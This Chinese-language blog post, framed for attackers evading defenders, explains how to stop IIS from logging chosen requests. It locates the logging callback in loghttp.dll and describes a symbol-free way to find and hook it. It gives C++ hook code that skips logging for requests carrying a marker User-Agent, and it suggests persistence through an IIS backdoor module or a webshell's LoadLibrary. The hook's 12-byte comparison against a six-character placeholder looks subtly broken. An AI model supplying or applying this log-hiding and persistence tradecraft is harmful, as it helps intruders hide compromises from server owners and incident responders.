发布于  更新于 

IIS日志隐藏

在攻防对抗过程中,为了防止蓝队从IIS日志中分析到有用的信息,需要对IIS特定日志进行隐藏。

定位写日志逻辑

通过Process Monitor查看

可以看到日志文件实际是由system进程,确切的说是由http.sys模块创建,并写入。

http.sys是windows处理http相关请求的模块,http.sys是一个内核模块,

如果我们要去修改,这几乎是不可能,实施成本太高了,线索似乎就断了。

IIS native 模块

IIS的基本流程如图,可以看到HTTP Logging属于Native模块

loghttp.dll

最终定位到IIS的日志是由native模块loghttp.dll实现

其路径在C:\Windows\System32\inetsrv\loghttp.dll

定位日志关键逻辑

在IIS模块中,可通过导出RegisterModule来告诉IIS关心的阶段

IIS通知回调注册

对于一个IIS模块而言,可在RegisterModule中

通过SetRequestNotifications注册不同通知回调来实现特定功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define RQ_BEGIN_REQUEST               0x00000001 // request is beginning 
#define RQ_AUTHENTICATE_REQUEST 0x00000002 // request is being authenticated
#define RQ_AUTHORIZE_REQUEST 0x00000004 // request is being authorized
#define RQ_RESOLVE_REQUEST_CACHE 0x00000008 // satisfy request from cache
#define RQ_MAP_REQUEST_HANDLER 0x00000010 // map handler for request
#define RQ_ACQUIRE_REQUEST_STATE 0x00000020 // acquire request state
#define RQ_PRE_EXECUTE_REQUEST_HANDLER 0x00000040 // pre-execute handler
#define RQ_EXECUTE_REQUEST_HANDLER 0x00000080 // execute handler
#define RQ_RELEASE_REQUEST_STATE 0x00000100 // release request state
#define RQ_UPDATE_REQUEST_CACHE 0x00000200 // update cache
#define RQ_LOG_REQUEST 0x00000400 // log request
#define RQ_END_REQUEST 0x00000800 // end request

#define RQ_CUSTOM_NOTIFICATION 0x10000000 // custom notification
#define RQ_SEND_RESPONSE 0x20000000 // send response
#define RQ_READ_ENTITY 0x40000000 // read entity
#define RQ_MAP_PATH 0x80000000 // map a url to a physical path

一个RegisterModule例子如下,注册RQ_BEGIN_REQUEST之前和之后两个通知回调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#define _WINSOCKAPI_
#include <windows.h>
#include <sal.h>
#include <httpserv.h>

// Create the module class.
class MyHttpModule : public CHttpModule
{
public:

// Process an RQ_BEGIN_REQUEST event.
REQUEST_NOTIFICATION_STATUS
OnBeginRequest(
IN IHttpContext * pHttpContext,
IN IHttpEventProvider * pProvider
)
{
UNREFERENCED_PARAMETER( pHttpContext );
UNREFERENCED_PARAMETER( pProvider );
WriteEventViewerLog("OnBeginRequest");
return RQ_NOTIFICATION_CONTINUE;
}

// Process an RQ_BEGIN_REQUEST post-event.
REQUEST_NOTIFICATION_STATUS
OnPostBeginRequest(
IN IHttpContext * pHttpContext,
IN IHttpEventProvider * pProvider
)
{
UNREFERENCED_PARAMETER( pHttpContext );
UNREFERENCED_PARAMETER( pProvider );
WriteEventViewerLog("OnPostBeginRequest");
return RQ_NOTIFICATION_CONTINUE;
}

MyHttpModule()
{
// Open a handle to the Event Viewer.
m_hEventLog = RegisterEventSource( NULL,"IISADMIN" );
}

~MyHttpModule()
{
// Test whether the handle for the Event Viewer is open.
if (NULL != m_hEventLog)
{
// Close the handle to the Event Viewer.
DeregisterEventSource( m_hEventLog );
m_hEventLog = NULL;
}
}

private:

// Create a handle for the event viewer.
HANDLE m_hEventLog;

// Define a method that writes to the Event Viewer.
BOOL WriteEventViewerLog(LPCSTR szNotification)
{
// Test whether the handle for the Event Viewer is open.
if (NULL != m_hEventLog)
{
// Write any strings to the Event Viewer and return.
return ReportEvent(
m_hEventLog,
EVENTLOG_INFORMATION_TYPE, 0, 0,
NULL, 1, 0, &szNotification, NULL );
}
return FALSE;
}
};

// Create the module's class factory.
class MyHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT
GetHttpModule(
OUT CHttpModule ** ppModule,
IN IModuleAllocator * pAllocator
)
{
UNREFERENCED_PARAMETER( pAllocator );

// Create a new instance.
MyHttpModule * pModule = new MyHttpModule;

// Test for an error.
if (!pModule)
{
// Return an error if the factory cannot create the instance.
return HRESULT_FROM_WIN32( ERROR_NOT_ENOUGH_MEMORY );
}
else
{
// Return a pointer to the module.
*ppModule = pModule;
pModule = NULL;
// Return a success status.
return S_OK;
}
}

void Terminate()
{
// Remove the class from memory.
delete this;
}
};

// Create the module's exported registration function.
HRESULT
__stdcall
RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo * pModuleInfo,
IHttpServer * pGlobalInfo
)
{
UNREFERENCED_PARAMETER( dwServerVersion );
UNREFERENCED_PARAMETER( pGlobalInfo );

// Set the request notifications and exit.
return pModuleInfo->SetRequestNotifications(
// Specify the class factory.
new MyHttpModuleFactory,
// Specify the event notifications.
RQ_BEGIN_REQUEST,
// Specify the post-event notifications.
RQ_BEGIN_REQUEST
);
}

loghttp.dll 中的注册逻辑

可以看到RegisterModule中注册RQ_SEND_RESPONSE回调,其HttpModuleFactory为CIISModuleFactory

HttpModuleFactory的作用是通过其GetHttpModule初始化HttpModule

在loghttp.dll中,返回this+8,此值可在RegisterModule中看到为&CIISHttpModule::vftable

1
2
3
4
5
6
__int64 __fastcall CIISModuleFactory::GetHttpModule(
CIISModuleFactory *this, struct CHttpModule **a2, struct IModuleAllocator *a3)
{
*a2 = (CIISModuleFactory *)((char *)this + 8);
return 0i64;
}

所以我们只需要关注CIISHttpModule::OnSendResponse即可,因为loghttp.dll只注册了RQ_SEND_RESPONSE回调

动态调试确认

通过动态调试,nop掉CIISHttpModule::OnSendResponse发现,日志已不在记录。

注意:猜测由于缓存问题,日志并非立即写入,如果想看到效果可以停止IIS,日志会立即刷新。

定位OnSendResponse函数地址

在IDA中之所以能直接定位OnSendResponse地址,是因为我们加载了符号文件。

但是要工具化,必然不能依赖于符号,或者手动定位。

那如何准确定位其函数地址呢?

可以看到RegisterModule代码中其实包含了CIISHttpModule::vftable

于是思路涌上心头:

  1. 实现一个假的IHttpModuleRegistrationInfo叫MyHttpModuleRegistrationInfo(RegisterModule的第二个参数)

  2. 调用loghttp.dll的RegisterModule,它会主动调用MyHttpModuleRegistrationInfo的SetRequestNotifications函数

  3. 在我们SetRequestNotifications函数中我们可以得到CIISModuleFactory实例

  4. CIISModuleFactory的第一个成员就是CIISHttpModule的虚表

  5. 通过CIISHttpModule的虚表和偏移就得到了CIISHttpModule::OnSendResponse函数

hook并实现过滤日志

如下代码实现了当UA中包含特定字符串时,直接返回,也就不会记录日志了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef REQUEST_NOTIFICATION_STATUS(NTAPI* pFnOnLogRequest)(
CHttpModule* This, IHttpContext* pHttpContext, IHttpEventProvider* pProvider
);
REQUEST_NOTIFICATION_STATUS MyOnLogRequest(
CHttpModule* This, IHttpContext* pHttpContext, IHttpEventProvider* pProvider) {
USHORT ualen = 0,i=0;
PCSTR ua = pHttpContext->GetRequest()->GetHeader(HttpHeaderUserAgent, &ualen);
if (ua) {
for (; i < ualen; i++) {
if (RtlCompareMemory(&ua[i], "xxxxxx", 12) == 12) {
return RQ_NOTIFICATION_CONTINUE;
}
}
}
return pOldpOnLogRequest(This, pHttpContext, pProvider);
}

持久化

方法1

可以扩展https://github.com/0x09AL/IIS-Raid在权限维持的基础上,也一并实现日志的隐藏。

安装后就可以既保证持久化,又保证权限维持

方法2

可以在webshell中调用LoadLibrary来加载我们隐藏日志的dll

参考资料

https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/introduction-to-iis-architecture
https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis
https://docs.microsoft.com/en-us/iis/web-development-reference/native-code-api-reference/request-processing-constants
https://docs.microsoft.com/en-us/iis/web-development-reference/native-code-api-reference/chttpmodule-onbeginrequest-method